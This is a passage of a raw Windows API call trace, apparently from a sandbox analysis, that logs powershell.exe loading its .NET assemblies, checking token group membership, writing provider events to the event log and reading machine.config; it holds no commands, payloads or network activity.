lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x105, lpBuffer=0x1cd580, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x8c [0275.564] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x105, lpBuffer=0x1cd580, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x8c [0275.615] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0x1cd580, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0275.615] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0x1cd580, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0275.624] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x1cd6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0275.673] bsearch (_Key=0x1caf00, _Base=0x642ff4a1d90, _NumOfElements=0xcc, _SizeOfElements=0x18, _PtFuncCompare=0x642ff4a337c) returned 0x642ff4a2498 [0275.684] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xf [0275.685] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x1cd990 | out: lpConsoleScreenBufferInfo=0x1cd990) returned 1 [0275.686] GetCurrentProcess () returned 0xffffffffffffffff [0275.687] GetTokenInformation (in: TokenHandle=0x324, TokenInformationClass=0x8, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x1cd8d8 | out: TokenInformation=0x0, ReturnLength=0x1cd8d8) returned 0 [0275.688] LocalAlloc (uFlags=0x0, uBytes=0x4) returned 0x3a4100 [0275.688] GetTokenInformation (in: TokenHandle=0x324, TokenInformationClass=0x8, TokenInformation=0x3a4100, TokenInformationLength=0x4, ReturnLength=0x1cd8d8 | out: TokenInformation=0x3a4100, ReturnLength=0x1cd8d8) returned 1 [0275.689] DuplicateTokenEx (in: hExistingToken=0x324, dwDesiredAccess=0x8, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x2, phNewToken=0x1cda38 | out: phNewToken=0x1cda38*=0x320) returned 1 [0275.689] GetTokenInformation (in: TokenHandle=0x324, TokenInformationClass=0x8, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x1cd8d8 | out: TokenInformation=0x0, ReturnLength=0x1cd8d8) returned 0 [0275.689] LocalAlloc (uFlags=0x0, uBytes=0x4) returned 0x3a4130 [0275.689] GetTokenInformation (in: TokenHandle=0x324, TokenInformationClass=0x8, TokenInformation=0x3a4130, TokenInformationLength=0x4, ReturnLength=0x1cd8d8 | out: TokenInformation=0x3a4130, ReturnLength=0x1cd8d8) returned 1 [0275.690] CheckTokenMembership (in: TokenHandle=0x320, SidToCheck=0x2dc6b70*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x1cda48 | out: IsMember=0x1cda48) returned 1 [0275.690] CloseHandle (hObject=0x320) returned 1 [0275.690] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x1cd510, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0275.690] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x1cd460, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0275.690] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x1cd460, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0275.691] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x1cd460, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0275.731] SHGetFolderPathW (in: hwnd=0x0, csidl=5, hToken=0x0, dwFlags=0x0, pszPath=0x43d6d0 | out: pszPath="C:\\Users\\aETAdzjz\\Documents") returned 0x0 [0275.897] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\mscorlib.dll", nBufferLength=0x105, lpBuffer=0x1cc530, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\mscorlib.dll", lpFilePart=0x0) returned 0x3c [0275.897] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x1cc530, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0275.898] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System\\2.0.0.0__b77a5c561934e089\\System.dll", nBufferLength=0x105, lpBuffer=0x1cc530, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System\\2.0.0.0__b77a5c561934e089\\System.dll", lpFilePart=0x0) returned 0x48 [0275.898] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1cc530, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0275.898] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", nBufferLength=0x105, lpBuffer=0x1cc530, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", lpFilePart=0x0) returned 0x8e [0275.899] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Core\\3.5.0.0__b77a5c561934e089\\System.Core.dll", nBufferLength=0x105, lpBuffer=0x1cc530, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Core\\3.5.0.0__b77a5c561934e089\\System.Core.dll", lpFilePart=0x0) returned 0x52 [0275.899] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Configuration.Install\\2.0.0.0__b03f5f7f11d50a3a\\System.Configuration.Install.dll", nBufferLength=0x105, lpBuffer=0x1cc530, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Configuration.Install\\2.0.0.0__b03f5f7f11d50a3a\\System.Configuration.Install.dll", lpFilePart=0x0) returned 0x74 [0275.899] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", nBufferLength=0x105, lpBuffer=0x1cc530, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", lpFilePart=0x0) returned 0x70 [0275.900] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_64\\System.Transactions\\2.0.0.0__b77a5c561934e089\\System.Transactions.dll", nBufferLength=0x105, lpBuffer=0x1cc530, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_64\\System.Transactions\\2.0.0.0__b77a5c561934e089\\System.Transactions.dll", lpFilePart=0x0) returned 0x60 [0275.900] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x105, lpBuffer=0x1cc530, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x86 [0275.900] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x105, lpBuffer=0x1cc530, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x8c [0275.901] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0x1cc530, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0275.951] __CxxFrameHandler () [0275.959] ReportEventW (hEventLog=0x1b890008, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x3cfbe28*="WSMan", lpRawData=0x3cfbb98) returned 1 [0275.960] ReportEventW (hEventLog=0x1b890008, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x3d01310*="Alias", lpRawData=0x3d010a0) returned 1 [0275.961] ReportEventW (hEventLog=0x1b890008, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x3d068b8*="Environment", lpRawData=0x3d06648) returned 1 [0275.963] ReportEventW (hEventLog=0x1b890008, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x3d0d910*="FileSystem", lpRawData=0x3d0d6a0) returned 1 [0275.963] ReportEventW (hEventLog=0x1b890008, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x3d13100*="Function", lpRawData=0x3d12e90) returned 1 [0275.965] ReportEventW (hEventLog=0x1b890008, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x3d358d8*="Registry", lpRawData=0x3d35668) returned 1 [0275.966] ReportEventW (hEventLog=0x1b890008, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x3d3aca0*="Variable", lpRawData=0x3d3aa30) returned 1 [0275.969] ReportEventW (hEventLog=0x1b890008, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x3d4e868*="Certificate", lpRawData=0x3d4e5f8) returned 1 [0275.974] ReportEventW (hEventLog=0x1b890008, wType=0x4, wCategory=0x4, dwEventID=0x190, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x3d87500*="Available", lpRawData=0x3d87290) returned 1 [0276.063] VirtualQuery (in: lpAddress=0x1cb790, lpBuffer=0x1cc650, dwLength=0x30 | out: lpBuffer=0x1cc650*(BaseAddress=0x1cb000, AllocationBase=0x150000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0276.113] SHGetFolderPathW (in: hwnd=0x0, csidl=5, hToken=0x0, dwFlags=0x0, pszPath=0x1b7a6ab0 | out: pszPath="C:\\Users\\aETAdzjz\\Documents") returned 0x0 [0276.113] CoTaskMemFree (pv=0x1b7a6ab0) [0276.113] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\Documents", nBufferLength=0x105, lpBuffer=0x1cd450, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Documents", lpFilePart=0x0) returned 0x1b [0276.113] CoTaskMemAlloc (cb=0x20c) returned 0x1b7a6ab0 [0276.113] SHGetFolderPathW (in: hwnd=0x0, csidl=5, hToken=0x0, dwFlags=0x0, pszPath=0x1b7a6ab0 | out: pszPath="C:\\Users\\aETAdzjz\\Documents") returned 0x0 [0276.113] CoTaskMemFree (pv=0x1b7a6ab0) [0276.113] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\Documents", nBufferLength=0x105, lpBuffer=0x1cd450, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Documents", lpFilePart=0x0) returned 0x1b Thread: id = 326 os_tid = 0x804 Thread: id = 327 os_tid = 0x5f0 Thread: id = 328 os_tid = 0x3b0 Thread: id = 329 os_tid = 0x670 Thread: id = 330 os_tid = 0x3f4 [0274.398] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0275.773] LocalFree (hMem=0x3a4130) returned 0x0 [0275.774] CloseHandle (hObject=0x324) returned 1 [0275.774] CloseHandle (hObject=0x13) returned 1 [0275.774] CloseHandle (hObject=0xf) returned 1 [0275.774] RegCloseKey (hKey=0x310) returned 0x0 [0275.775] RegCloseKey (hKey=0x30c) returned 0x0 [0275.775] RegCloseKey (hKey=0x308) returned 0x0 [0275.775] LocalFree (hMem=0x3a4100) returned 0x0 [0275.775] RegCloseKey (hKey=0x330) returned 0x0 Thread: id = 331 os_tid = 0x7f0 [0276.116] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0276.119] SetThreadUILanguage (LangId=0x0) returned 0x7fffff00409 [0276.123] CoTaskMemAlloc (cb=0x104) returned 0x39a900 [0276.123] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x39a900, nSize=0x80 | out: lpBuffer="") returned 0x0 [0276.123] CoTaskMemFree (pv=0x39a900) [0276.124] VirtualQuery (in: lpAddress=0x1c77d780, lpBuffer=0x1c77e640, dwLength=0x30 | out: lpBuffer=0x1c77e640*(BaseAddress=0x1c77d000, AllocationBase=0x1bdf0000, AllocationProtect=0x4, __alignment1=0xfffff8a0, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0276.147] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x404 [0276.147] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x408 [0276.224] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.config", nBufferLength=0x105, lpBuffer=0x1c77d520, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.config", lpFilePart=0x0) returned 0x3c [0276.224] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.config", nBufferLength=0x105, lpBuffer=0x1c77d420, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.config", lpFilePart=0x0) returned 0x3c [0276.227] CoTaskMemAlloc (cb=0x20c) returned 0x1b7a7a00 [0276.227] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1b7a7a00, nSize=0x104 | out: lpFilename="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe")) returned 0x39 [0276.227] CoTaskMemFree (pv=0x1b7a7a00) [0276.227] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", nBufferLength=0x105, lpBuffer=0x1c77d580, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", lpFilePart=0x0) returned 0x39 [0276.235] GetCurrentProcess () returned 0xffffffffffffffff [0276.235] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c77d4e8 | out: TokenHandle=0x1c77d4e8*=0x40c) returned 1 [0276.239] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\", nBufferLength=0x105, lpBuffer=0x1c77d140, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\", lpFilePart=0x0) returned 0x30 [0276.240] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x1c77d590 | out: lpFileInformation=0x1c77d590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf9bf7e3, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdf9bf7e3, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x3f871a3e, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x65b3)) returned 1 [0276.240] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\Config\\machine.config", nBufferLength=0x105, lpBuffer=0x1c77d0e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\Config\\machine.config", lpFilePart=0x0) returned 0x45 [0276.241] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x1c77d540 | out: lpFileInformation=0x1c77d540*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf9bf7e3, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdf9bf7e3, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x3f871a3e, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x65b3)) returned 1 [0276.242] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\Config\\machine.config", nBufferLength=0x105, lpBuffer=0x1c77cf20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\Config\\machine.config", lpFilePart=0x0) returned 0x45 [0276.242] SetErrorMode (uMode=0x1) returned 0x1 [0276.242] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\config\\machine.config"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x414 [0276.243] GetFileType (hFile=0x414) returned 0x1 [0276.243] SetErrorMode (uMode=0x1) returned 0x1 [0276.243] GetFileType (hFile=0x414) returned 0x1 [0276.244] GetFileSize (in: hFile=0x414, lpFileSizeHigh=0x1c77d538 | out: lpFileSizeHigh=0x1c77d538*=0x0) returned 0x65b3 [0276.245] ReadFile (in: hFile=0x414, lpBuffer=0x40ae140, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c77d458, lpOverlapped=0x0 | out: lpBuffer=0x40ae140*, lpNumberOfBytesRead=0x1c77d458*=0x1000, lpOverlapped=0x0) returned 1 [0276.253] ReadFile (in: hFile=0x414, lpBuffer=0x40ae140, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c77d138, lpOverlapped=0x0 | out: lpBuffer=0x40ae140*, lpNumberOfBytesRead=0x1c77d138*=0x1000, lpOverlapped=0x0) returned 1 [0276.254] ReadFile (in: hFile=0x414, lpBuffer=0x40ae140, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c77cf88, lpOverlapped=0x0 | out: lpBuffer=0x40ae140*, lpNumberOfBytesRead=0x1c77cf88*=0x1000, lpOverlapped=0x0) returned 1 [0276.254] ReadFile (in: hFile=0x414, lpBuffer=0x40ae140, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c77cf88, lpOverlapped=0x0 | out: lpBuffer=0x40ae140*, lpNumberOfBytesRead=0x1c77cf88*=0x1000, lpOverlapped=0x0) returned 1 [0276.254] ReadFile (in: hFile=0x414, lpBuffer=0x40ae140, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c77cf88, lpOverlapped=0x0 | out: lpBuffer=0x40ae140*, lpNumberOfBytesRead=0x1c77cf88*=0x1000, lpOverlapped=0x0) returned 1 [0276.261] ReadFile (in: hFile=0x414, lpBuffer=0x40ae140, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c77d0c8, lpOverlapped=0x0 | out: lpBuffer=0x40ae140*, lpNumberOfBytesRead=0x1c77d0c8*=0x1000, lpOverlapped=0x0) returned 1 [0276.261] ReadFile (in: hFile=0x414, lpBuffer=0x40ae140, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c77cee8, lpOverlapped=0x0 | out: lpBuffer=0x40ae140*, lpNumberOfBytesRead=0x1c77cee8*=0x5b3, lpOverlapped=0x0) returned 1 [0276.261] ReadFile (in: hFile=0x414, lpBuffer=0x40ae140, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c77d098, lpOverlapped=0x0 | out: lpBuffer=0x40ae140*, lpNumberOfBytesRead=0x1c77d098*=0x0, lpOverlapped=0x0) returned 1 [0276.261] CloseHandle (hObject=0x414) returned 1 [0276.263] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.config", nBufferLength=0x105, lpBuffer=0x1c77d510, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.config", lpFilePart=0x0) returned 0x3c [0276.263] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.config", nBufferLength=0x105, lpBuffer=0x1c77d410, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.config", lpFilePart=0x0) returned 0x3c [0276.263] CoTaskMemAlloc (cb=0x20c) returned 0x1b7a6650 [0276.263] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1b7a6650, nSize=0x104 | out: lpFilename="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe")) returned 0x39 [0276.263] CoTaskMemFree (pv=0x1b7a6650) [0276.263] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", nBufferLength=0x105, lpBuffer=0x1c77d570, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", lpFilePart=0x0) returned 0x39 [0276.263] GetCurrentProcess () returned 0xffffffffffffffff [0276.263] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c77d748 | out: TokenHandle=0x1c77d748*=0x414) returned 1 [0276.264] GetCurrentProcess () returned 0xffffffffffffffff [0276.264] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c77d748 | out: TokenHandle=0x1c77d748*=0x410) returned 1 [0276.265] GetCurrentProcess () returned 0xffffffffffffffff [0276.266] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c77d4e8 | out: TokenHandle=0x1c77d4e8*=0x418) returned 1 [0276.266] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.config" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.config"), fInfoLevelId=0x0, lpFileInformation=0x1c77d590 | out: lpFileInformation=0x1c77d590*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0276.267] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.config", nBufferLength=0x105, lpBuffer=0x1c77d0e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.config", lpFilePart=0x0) returned 0x3c [0276.267] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.config" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.config"), fInfoLevelId=0x0, lpFileInformation=0x1c77d540 | out: lpFileInformation=0x1c77d540*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0276.268] GetCurrentProcess () returned 0xffffffffffffffff [0276.268] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c77d748 | out: TokenHandle=0x1c77d748*=0x41c) returned 1 [0276.268] GetCurrentProcess () returned 0xffffffffffffffff [0276.268] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, 